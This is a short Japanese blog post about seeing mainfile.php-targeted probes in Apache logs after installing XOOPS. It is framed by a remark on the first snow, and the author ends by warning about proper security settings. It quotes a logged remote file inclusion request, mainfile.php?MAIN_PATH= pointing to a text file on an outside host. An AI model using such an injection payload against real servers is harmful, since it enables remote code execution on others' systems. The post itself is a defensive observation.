mainfile.php狙いの不正アクセス。

　今日は，寒かった。昨日から南に見える例のお山は雪を頂いていたが，今朝は北に見える山も雪を被っていた。初雪である。まぁ，家の辺まで降ったわけではありませんが……

　ところで，12月5日にXOOPSを導入して以来，mainfile.php狙いの不正アクセスがApacheのログに多く記録されている。
mainfile.php?MAIN_PATH=http://www.all3c.com///images/mono/20100907/app/functions/response.txt?
mainfile.php?id
なんちゃらで，libwww-perlを利用したものである。自鯖にはmainfile.phpはないので，すべて404エラーになっている。@PAGESのほうではまだアクセスログを見ていないので分からないが，やっぱりmainfile.phpは有名な名前なんだね。

　MoovableTypeでも，WordPressでもコンフィグを狙うアクセスは多いけど，有名どころのアプリをそのままの名で設置するときは，指示されているセキュリティ関係のオプションはきっちりやらないと危ないよ。

　ところで，aguse.jp越えで h ttp://www.all3c.com///images/mono/20100907/app/functions/response.txt? にアクセスしたら，右の画像が表示された。カスペルスキー，えらい。